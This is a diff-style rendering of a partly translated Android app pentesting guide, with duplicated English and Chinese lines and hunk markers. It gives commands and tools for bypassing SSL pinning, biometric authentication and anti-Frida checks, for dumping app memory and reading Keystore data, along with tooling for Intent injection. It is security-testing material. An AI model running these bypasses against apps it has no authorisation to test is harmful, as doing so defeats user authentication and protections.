当实现了 SSL Pinning 时,为了检查 HTTPS 流量需要绕过它。对此有多种方法可用:
 | 
			
		||||
当实现了 SSL Pinning 时,绕过它对检查 HTTPS 流量变得必要。有多种方法可以做到这一点:
 | 
			
		||||
 | 
			
		||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
 | 
			
		||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 | 
			
		||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 | 
			
		||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
 | 
			
		||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 | 
			
		||||
- 自动地 **modify** the **apk** 来 **bypass** SSLPinning,可以使用 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项最大的优点是你不需要 root 即可绕过 SSL Pinning,但你需要删除应用并重装新的,而且并不总是有效。
 | 
			
		||||
- 你可以使用 **Frida**(下文讨论)来绕过该保护。这里有一篇使用 Burp+Frida+Genymotion 的指南: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 | 
			
		||||
- 你也可以尝试使用 [**objection**](frida-tutorial/objection-tutorial.md)**:** 自动绕过 SSL Pinning:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 | 
			
		||||
- 你也可以尝试使用 **MobSF dynamic analysis** 自动绕过 SSL Pinning(下文会解释)
 | 
			
		||||
- 如果你仍然认为有些流量没有被捕获,可以尝试使用 iptables 将流量转发到 Burp。阅读这篇博客: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 | 
			
		||||
 | 
			
		||||
#### 寻找常见的 Web 漏洞
 | 
			
		||||
#### 查找常见的 Web 漏洞
 | 
			
		||||
 | 
			
		||||
同样重要的是在应用内搜索常见的 Web 漏洞。关于识别和缓解这些漏洞的详细信息超出本摘要的范围,但在其他地方有详尽覆盖。
 | 
			
		||||
同样重要的是在应用内搜索常见的 Web 漏洞。识别和缓解这些漏洞的详细信息超出本摘要范围,但在其他地方有详尽的覆盖。
 | 
			
		||||
 | 
			
		||||
### Frida
 | 
			
		||||
 | 
			
		||||
[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态插装工具包。\
 | 
			
		||||
**你可以访问运行中的应用并在运行时 hook 方法来改变行为、修改值、提取值或执行不同的代码...**\
 | 
			
		||||
如果你想 pentest Android 应用,你需要知道如何使用 Frida。
 | 
			
		||||
[Frida](https://www.frida.re) 是一个面向开发者、逆向工程师和安全研究人员的动态插桩工具包。\
 | 
			
		||||
**你可以访问正在运行的应用并在运行时 hook 方法以改变行为、修改值、提取值或执行不同的代码……**\
 | 
			
		||||
如果你要对 Android 应用做 pentest,你需要会使用 Frida。
 | 
			
		||||
 | 
			
		||||
- 学习如何使用 Frida: [**Frida 教程**](frida-tutorial/index.html)
 | 
			
		||||
- 用于 Frida 操作的一些 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 | 
			
		||||
- Ojection 很适合自动化使用 Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- 你可以在这里找到一些优秀的 Frida 脚本: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 | 
			
		||||
- 尝试按照 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) 中所示将 Frida 以此方式加载以绕过 anti-debugging / anti-frida 机制(工具 [linjector](https://github.com/erfur/linjector-rs))
 | 
			
		||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
 | 
			
		||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 | 
			
		||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 | 
			
		||||
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
 | 
			
		||||
 | 
			
		||||
#### 反插装 & SSL pinning 绕过 工作流程
 | 
			
		||||
#### Anti-instrumentation & SSL pinning bypass workflow
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### **转储内存 - Fridump**
 | 
			
		||||
### **Dump Memory - Fridump**
 | 
			
		||||
 | 
			
		||||
检查应用是否在内存中存储了不应该存储的敏感信息,例如密码或助记词。
 | 
			
		||||
检查应用是否在内存中存储了不应该存放的敏感信息,比如密码或助记词。
 | 
			
		||||
 | 
			
		||||
使用 [**Fridump3**](https://github.com/rootbsd/fridump3) 可以用以下命令转储应用的内存:
 | 
			
		||||
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
 | 
			
		||||
```bash
 | 
			
		||||
# With PID
 | 
			
		||||
python3 fridump3.py -u <PID>
 | 
			
		||||
@ -528,63 +529,63 @@ python3 fridump3.py -u <PID>
 | 
			
		||||
frida-ps -Uai
 | 
			
		||||
python3 fridump3.py -u "<Name>"
 | 
			
		||||
```
 | 
			
		||||
这将把内存转储到 ./dump 文件夹,之后你可以在其中使用 grep,例如:
 | 
			
		||||
这会将内存转储到 ./dump 文件夹,你可以在其中使用 grep 之类的命令进行搜索:
 | 
			
		||||
```bash
 | 
			
		||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 | 
			
		||||
```
 | 
			
		||||
### **Keystore 中的敏感数据**
 | 
			
		||||
 | 
			
		||||
在 Android 中,Keystore 是存放敏感数据的最佳位置,但在拥有足够权限的情况下,仍然**可能访问它**。由于应用倾向于在此处**以明文存储的敏感数据**,因此 pentests 应作为 root user 检查此项,否则有物理访问设备的人可能会窃取这些数据。
 | 
			
		||||
在 Android 中,Keystore 是存储敏感数据的最佳位置,然而在拥有足够权限的情况下仍然**可能被访问**。由于应用通常倾向于在此处以**明文**存储敏感数据,pentests 应当以 root user 身份检查它,否则有物理访问设备的人可能会窃取这些数据。
 | 
			
		||||
 | 
			
		||||
即使应用将数据存储在 Keystore 中,数据也应当被加密。
 | 
			
		||||
即使应用将数据存储在 Keystore 中,也应该对这些数据进行加密。
 | 
			
		||||
 | 
			
		||||
要访问 keystore 中的数据,你可以使用这个 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 | 
			
		||||
要访问 Keystore 内的数据,可以使用此 Frida 脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
 | 
			
		||||
```bash
 | 
			
		||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 | 
			
		||||
```
 | 
			
		||||
### **Fingerprint/Biometrics Bypass**
 | 
			
		||||
 | 
			
		||||
使用下面的 Frida 脚本,可能可以 **bypass fingerprint authentication**,这是 Android applications 为了 **protect certain sensitive areas:** 所采取的措施。
 | 
			
		||||
使用以下 Frida 脚本,可能可以**bypass fingerprint authentication**,用于绕过 Android 应用为**保护某些敏感区域**而执行的身份验证:
 | 
			
		||||
```bash
 | 
			
		||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 | 
			
		||||
```
 | 
			
		||||
### **后台快照**
 | 
			
		||||
 | 
			
		||||
当你把应用置于后台时,Android 会存储该应用的**快照**,以便在恢复到前台时先加载该图像,从而看起来像应用更快地启动。
 | 
			
		||||
当你将应用置于后台时,Android 会存储一个**应用快照**,这样当它恢复到前台时,会先加载该图像,然后才加载应用本身,从而看起来应用加载更快。
 | 
			
		||||
 | 
			
		||||
然而,如果该**快照**包含**敏感信息**,有权限访问该快照的人可能会**窃取这些信息**(注意,需要 root 权限才能访问)。
 | 
			
		||||
然而,如果该快照包含**敏感信息**,有权限访问该快照的人可能会**窃取这些信息**(注意你需要 root 才能访问它)。
 | 
			
		||||
 | 
			
		||||
快照通常存储在: **`/data/system_ce/0/snapshots`**
 | 
			
		||||
快照通常存储在:**`/data/system_ce/0/snapshots`**
 | 
			
		||||
 | 
			
		||||
Android 提供了一种方法,即通过设置 **FLAG_SECURE 布局参数来防止屏幕截图**。使用该 flag 后,窗口内容将被视为安全,阻止其出现在屏幕截图中或在非安全显示设备上被查看。
 | 
			
		||||
Android 提供了一种通过设置 **FLAG_SECURE** 布局参数来防止截图的方法。使用此标志后,窗口内容将被视为受保护,从而阻止其出现在截图中或在非安全的显示设备上被查看。
 | 
			
		||||
```bash
 | 
			
		||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 | 
			
		||||
```
 | 
			
		||||
### **Android Application Analyzer**
 | 
			
		||||
 | 
			
		||||
这个工具可以在动态分析期间帮助你管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 | 
			
		||||
这个工具可以帮助你在动态分析期间管理不同的工具: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 | 
			
		||||
 | 
			
		||||
### Intent Injection
 | 
			
		||||
 | 
			
		||||
开发者经常创建代理组件,例如 activities、services 和 broadcast receivers 来处理这些 Intents,并将它们传递给诸如 `startActivity(...)` 或 `sendBroadcast(...)` 之类的方法,这可能存在风险。
 | 
			
		||||
开发者经常创建代理组件(如 activities、services 和 broadcast receivers)来处理这些 Intents,并将它们传递给像 `startActivity(...)` 或 `sendBroadcast(...)` 这样的函数,这可能存在风险。
 | 
			
		||||
 | 
			
		||||
危险在于允许攻击者通过误导这些 Intents 来触发非导出的 app 组件或访问敏感的 content providers。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并随后执行它们,这可能导致恶意的 Intent 注入。
 | 
			
		||||
危险在于允许攻击者通过误导这些 Intents 来触发未导出的应用组件或访问敏感的内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象并执行它们,这可能导致恶意 Intent 注入。
 | 
			
		||||
 | 
			
		||||
### Essential Takeaways
 | 
			
		||||
 | 
			
		||||
- **Intent Injection** 类似于 web 的 Open Redirect 问题。
 | 
			
		||||
- 利用通常涉及将 `Intent` 对象作为 extras 传递,这些 Intent 可能被重定向以执行不安全的操作。
 | 
			
		||||
- 它可能将非导出组件和 content providers 暴露给攻击者。
 | 
			
		||||
- `WebView` 将 URL 转换为 `Intent` 的行为可能促使发生非预期的操作。
 | 
			
		||||
- 漏洞利用通常涉及将 `Intent` 对象作为 extras 传递,这些 Intent 可被重定向以执行不安全的操作。
 | 
			
		||||
- 它可能使未导出的组件和内容提供者暴露给攻击者。
 | 
			
		||||
- `WebView` 将 URL 转换为 `Intent` 的行为可能促成非预期的操作。
 | 
			
		||||
 | 
			
		||||
### Android Client Side Injections and others
 | 
			
		||||
 | 
			
		||||
你可能在 Web 上见过这类漏洞。在 Android 应用中必须对这些漏洞格外小心:
 | 
			
		||||
你可能从 Web 上了解过这类漏洞。在 Android 应用中需要特别注意这些漏洞:
 | 
			
		||||
 | 
			
		||||
- **SQL Injection:** 在处理动态查询或 Content-Providers 时,确保使用参数化查询。
 | 
			
		||||
- **JavaScript Injection (XSS):** 请确认任何 WebViews 的 JavaScript 与 Plugin 支持已禁用(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Local File Inclusion:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Eternal cookies**: 在某些情况下,当 android application 结束会话时,cookie 未被撤销,甚至可能被保存到磁盘
 | 
			
		||||
- **SQL Injection:** 在处理动态查询或 Content-Providers 时,请确保使用参数化查询。
 | 
			
		||||
- **JavaScript Injection (XSS):** 验证任何 WebViews 的 JavaScript 和 Plugin 支持已被禁用(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Eternal cookies**: 在某些情况下,当 android 应用结束会话时,cookie 未被撤销,甚至可能被保存到磁盘
 | 
			
		||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
@ -593,11 +594,11 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 | 
			
		||||
 | 
			
		||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
 | 
			
		||||
 | 
			
		||||
**静态分析**
 | 
			
		||||
**Static analysis**
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**对应用的漏洞评估** 使用漂亮的基于 Web 的前端。你也可以执行动态分析(但需要准备好环境)。
 | 
			
		||||
**Vulnerability assessment of the application** 使用一个漂亮的基于 web 的前端。你也可以执行动态分析(但需要准备环境)。
 | 
			
		||||
```bash
 | 
			
		||||
docker pull opensecurity/mobile-security-framework-mobsf
 | 
			
		||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 | 
			
		||||
@ -605,43 +606,43 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 | 
			
		||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
 | 
			
		||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
 | 
			
		||||
 | 
			
		||||
MobSF 还允许你对分析结果进行 **diff/Compare** 并集成 **VirusTotal**(你需要在 _MobSF/settings.py_ 中设置你的 API key 并启用:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。你也可以将 `VT_UPLOAD` 设置为 `False`,此时将上传 **hash** 而不是文件。
 | 
			
		||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
 | 
			
		||||
 | 
			
		||||
### Assisted Dynamic analysis with MobSF
 | 
			
		||||
 | 
			
		||||
**MobSF** 在 **Android** 的 **dynamic analysis** 方面也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(VM 或 Docker 无法工作)。_Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
 | 
			
		||||
**MobSF dynamic analyser** 可以:
 | 
			
		||||
MobSF 在 Android 的动态分析上也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(VM 或 Docker 无法工作)。_Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ 
 | 
			
		||||
MobSF 的动态分析器可以:
 | 
			
		||||
 | 
			
		||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). 以上内容均会自动完成,除了 screenshots,截图需要你在想要截图时手动按下(按钮),或者按下 "**Exported Activity Tester**" 来获取所有导出 activity 的截图。
 | 
			
		||||
- **Dump application data**(URLs、logs、剪贴板、你手动截取的 screenshots、由 "**Exported Activity Tester**" 生成的 screenshots、emails、SQLite 数据库、XML 文件以及其他生成的文件)。除了 screenshots 以外,其它都会自动完成;screenshots 需要你在想要截图时按下相应按钮,或者按下 "**Exported Activity Tester**" 以获取所有 exported activities 的 screenshots。
 | 
			
		||||
- 捕获 **HTTPS traffic**
 | 
			
		||||
- 使用 **Frida** 获取 **runtime** **information**
 | 
			
		||||
 | 
			
		||||
从 Android **versions > 5** 开始,它会 **automatically start Frida** 并设置全局 **proxy** 设置以 **capture** 流量。它只会捕获被测试应用的流量。
 | 
			
		||||
从 Android **versions > 5**,它会**自动启动 Frida**并设置全局**proxy**以**capture**流量。它只会捕获受测应用的流量。
 | 
			
		||||
 | 
			
		||||
**Frida**
 | 
			
		||||
 | 
			
		||||
默认情况下,它还会使用一些 Frida Scripts 来 **bypass SSL pinning**、**root detection** 和 **debugger detection**,并 **monitor interesting APIs**。\
 | 
			
		||||
MobSF 还可以 **invoke exported activities**,抓取它们的 **screenshots** 并 **save** 到报告中。
 | 
			
		||||
默认情况下,它还会使用一些 Frida Scripts 来**bypass SSL pinning**、**root detection** 和 **debugger detection**,并**monitor interesting APIs**。\
 | 
			
		||||
MobSF 还可以**invoke exported activities**,抓取它们的 **screenshots** 并将其**save** 到报告中。
 | 
			
		||||
 | 
			
		||||
要开始动态测试,按绿色按钮:“**Start Instrumentation**”。按 “**Frida Live Logs**” 可查看 Frida 脚本生成的日志,按 “**Live API Monitor**” 可查看所有对 hook 方法的调用、传入参数和返回值(这些将在按下 "Start Instrumentation" 后出现)。\
 | 
			
		||||
MobSF 还允许你加载自定义的 **Frida scripts**(要将你的 Frida 脚本结果发送到 MobSF,请使用函数 `send()`)。它也有 **several pre-written scripts** 可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需选择它们,按 “**Load**”,然后按 “**Start Instrumentation**”(你将能在 “**Frida Live Logs**” 中看到这些脚本的日志)。
 | 
			
		||||
要**start** 动态测试,按绿色按钮:“Start Instrumentation”。按 “Frida Live Logs” 可以查看由 Frida scripts 生成的日志,按 “Live API Monitor” 可以查看对 hooked methods 的所有调用、传入参数和返回值(在按下 “Start Instrumentation” 后会出现)。\
 | 
			
		||||
MobSF 还允许你加载自定义的 **Frida scripts**(要将你的 Frida scripts 的结果发送到 MobSF,请使用函数 `send()`)。它也有若干预写脚本可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需选择它们,按 “Load”,然后按 “Start Instrumentation”(你将能在 “Frida Live Logs” 中看到这些脚本的日志)。
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
此外,你还有一些辅助的 Frida 功能:
 | 
			
		||||
此外,你还有一些辅助性的 Frida 功能:
 | 
			
		||||
 | 
			
		||||
- **Enumerate Loaded Classes**: 它会列出所有加载的 classes
 | 
			
		||||
- **Capture Strings**: 在使用应用时会打印捕获到的所有 strings(非常嘈杂)
 | 
			
		||||
- **Capture String Comparisons**: 非常有用。它会 **show the 2 strings being compared** 并显示比较结果为 True 还是 False。
 | 
			
		||||
- **Enumerate Loaded Classes**: 它会打印所有已加载的 classes
 | 
			
		||||
- **Capture Strings**: 在使用应用时它会打印所有捕获到的 strings(非常嘈杂)
 | 
			
		||||
- **Capture String Comparisons**: 非常有用。它会**show the 2 strings being compared**,并显示结果是 True 还是 False。
 | 
			
		||||
- **Enumerate Class Methods**: 输入类名(例如 "java.io.File"),它会打印该类的所有方法。
 | 
			
		||||
- **Search Class Pattern**: 按模式搜索类
 | 
			
		||||
- **Trace Class Methods**: **Trace** 整个类(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 会跟踪若干有趣的 Android API 方法。
 | 
			
		||||
- **Search Class Pattern**: 按模式搜索 classes
 | 
			
		||||
- **Trace Class Methods**: **Trace** 整个 class(查看该类所有方法的输入和输出)。请记住默认情况下 MobSF 会跟踪若干有趣的 Android Api 方法。
 | 
			
		||||
 | 
			
		||||
选择好要使用的辅助模块后,按下 "**Start Intrumentation**",你就会在 "**Frida Live Logs**" 中看到所有输出。
 | 
			
		||||
一旦你选择了要使用的辅助模块,按下 “Start Intrumentation”,你将在 “Frida Live Logs” 中看到所有输出。
 | 
			
		||||
 | 
			
		||||
**Shell**
 | 
			
		||||
 | 
			
		||||
MobSF 还在动态分析页面底部提供了一个 shell,其中包含一些 **adb** commands、**MobSF commands** 和常见的 **shell** **commands**。一些有趣的命令:
 | 
			
		||||
Mobsf 还在动态分析页面底部提供了一个 shell,包含一些 **adb** 命令、**MobSF commands** 和常见的 **shell commands**。一些有趣的命令:
 | 
			
		||||
```bash
 | 
			
		||||
help
 | 
			
		||||
shell ls
 | 
			
		||||
@ -650,35 +651,34 @@ exported_activities
 | 
			
		||||
services
 | 
			
		||||
receivers
 | 
			
		||||
```
 | 
			
		||||
**HTTP 工具**
 | 
			
		||||
**HTTP tools**
 | 
			
		||||
 | 
			
		||||
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
 | 
			
		||||
要做到这点,_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> 按 "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
 | 
			
		||||
当 HTTP 流量被 capture 时,你可以在“**HTTP(S) Traffic**”按钮看到捕获流量的粗糙视图,或在绿色的“**Start HTTPTools**”按钮看到更友好的视图。通过第二个选项,你可以将**captured requests** 发送到像 Burp 或 Owasp ZAP 这样的 proxies。\
 | 
			
		||||
为此,_power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> 按“**Send to Fuzzer**” --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
 | 
			
		||||
 | 
			
		||||
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.  
 | 
			
		||||
完成使用 MobSF 的 dynamic analysis 后,你可以点击 "**Start Web API Fuzzer**" 来 **fuzz http requests** 并查找漏洞。
 | 
			
		||||
一旦用 MobSF 完成 dynamic analysis,你可以点击“**Start Web API Fuzzer**”来 **fuzz http requests** 并查找漏洞。
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
 | 
			
		||||
> 在用 MobSF 执行 dynamic analysis 之后,proxy 设置可能会被错误配置,并且你可能无法通过 GUI 修复。你可以通过执行以下命令来修复 proxy 设置:
 | 
			
		||||
>
 | 
			
		||||
> ```
 | 
			
		||||
> adb shell settings put global http_proxy :0
 | 
			
		||||
> ```
 | 
			
		||||
 | 
			
		||||
### 使用 Inspeckage 辅助 Dynamic Analysis
 | 
			
		||||
### Assisted Dynamic Analysis with Inspeckage
 | 
			
		||||
 | 
			
		||||
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
 | 
			
		||||
该工具会使用一些 **Hooks**,在你进行 **dynamic analysis** 时帮助你了解**应用内部正在发生的事情**。
 | 
			
		||||
你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取此工具。\
 | 
			
		||||
该工具会使用一些 **Hooks**,在你执行 **dynamic analysis** 时让你了解应用内发生的情况。
 | 
			
		||||
 | 
			
		||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
 | 
			
		||||
 | 
			
		||||
这是一个**用于通过 GUI 执行 static analysis 的出色工具**
 | 
			
		||||
这是一个用于通过 GUI 执行 **static analysis** 的优秀工具
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### [Qark](https://github.com/linkedin/qark)
 | 
			
		||||
 | 
			
		||||
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. 该工具还可以**生成可部署的 "Proof-of-Concept" APK**和**ADB commands**,用于利用发现的一些漏洞(Exposed activities、intents、tapjacking 等)。如同 Drozer,无需对测试设备进行 root。
 | 
			
		||||
该工具旨在查找若干 **security related Android application vulnerabilities**,可针对 **source code** 或 **packaged APKs**。该工具还**能够创建可部署的 "Proof-of-Concept" APK** 和 **ADB commands**,以利用发现的一些漏洞(如 Exposed activities、intents、tapjacking...)。与 Drozer 相同,无需对测试设备进行 root。
 | 
			
		||||
```bash
 | 
			
		||||
pip3 install --user qark  # --user is only needed if not using a virtualenv
 | 
			
		||||
qark --apk path/to/my.apk
 | 
			
		||||
@ -690,7 +690,7 @@ qark --java path/to/specific/java/file.java
 | 
			
		||||
- 显示所有提取的文件以便参考
 | 
			
		||||
- 自动将 APK 文件反编译为 Java 和 Smali 格式
 | 
			
		||||
- 分析 AndroidManifest.xml 以查找常见漏洞和行为
 | 
			
		||||
- 对源代码进行静态分析以识别常见漏洞和行为
 | 
			
		||||
- 对静态源代码进行分析以查找常见漏洞和行为
 | 
			
		||||
- 设备信息
 | 
			
		||||
- 以及更多
 | 
			
		||||
```bash
 | 
			
		||||
@ -698,9 +698,11 @@ reverse-apk relative/path/to/APP.apk
 | 
			
		||||
```
 | 
			
		||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 | 
			
		||||
 | 
			
		||||
SUPER 是一个命令行应用程序,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以寻找漏洞。它通过解压 APKs 并应用一系列规则来检测这些漏洞。
 | 
			
		||||
SUPER 是一个命令行应用,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以查找漏洞。
 | 
			
		||||
 | 
			
		||||
所有规则集中在 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
 | 
			
		||||
它通过解压 APK 并应用一系列规则来检测这些漏洞。
 | 
			
		||||
 | 
			
		||||
所有规则集中在 `rules.json` 文件中,每家公司或测试人员都可以创建自己的规则来分析所需内容。
 | 
			
		||||
 | 
			
		||||
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件
 | 
			
		||||
```
 | 
			
		||||
@ -710,17 +712,17 @@ super-analyzer {apk_file}
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
StaCoAn 是一个 **跨平台** 工具,帮助开发者、bugbounty hunters 和 ethical hackers 对移动应用执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。
 | 
			
		||||
StaCoAn 是一个 **跨平台** 工具,可帮助开发人员、bugbounty hunters 和 ethical hackers 在移动应用上执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。
 | 
			
		||||
 | 
			
		||||
其理念是你将移动应用文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用上,它会为你生成一个可视化且可携带的报告。你可以调整设置和词表以获得定制化体验。
 | 
			
		||||
其概念是将你的移动应用文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用上,StaCoAn 会为你生成一份可视化且可携带的报告。你可以调整设置和 wordlists 以获得定制化的体验。
 | 
			
		||||
 | 
			
		||||
下载[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 | 
			
		||||
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 | 
			
		||||
```
 | 
			
		||||
./stacoan
 | 
			
		||||
```
 | 
			
		||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 | 
			
		||||
 | 
			
		||||
AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或 hackers 发现 Android 应用程序中的潜在安全漏洞。\
 | 
			
		||||
AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或黑客发现 Android 应用中的潜在安全漏洞。\
 | 
			
		||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 | 
			
		||||
```
 | 
			
		||||
python androbugs.py -f [APK file]
 | 
			
		||||
@ -728,11 +730,11 @@ androbugs.exe -f [APK file]
 | 
			
		||||
```
 | 
			
		||||
### [Androwarn](https://github.com/maaaaz/androwarn)
 | 
			
		||||
 | 
			
		||||
**Androwarn** 是一个工具,其主要目的是检测并警告用户 Android 应用可能产生的潜在恶意行为。
 | 
			
		||||
**Androwarn** 是一个工具,主要用于检测并提醒用户有关 Android 应用可能的潜在恶意行为。
 | 
			
		||||
 | 
			
		||||
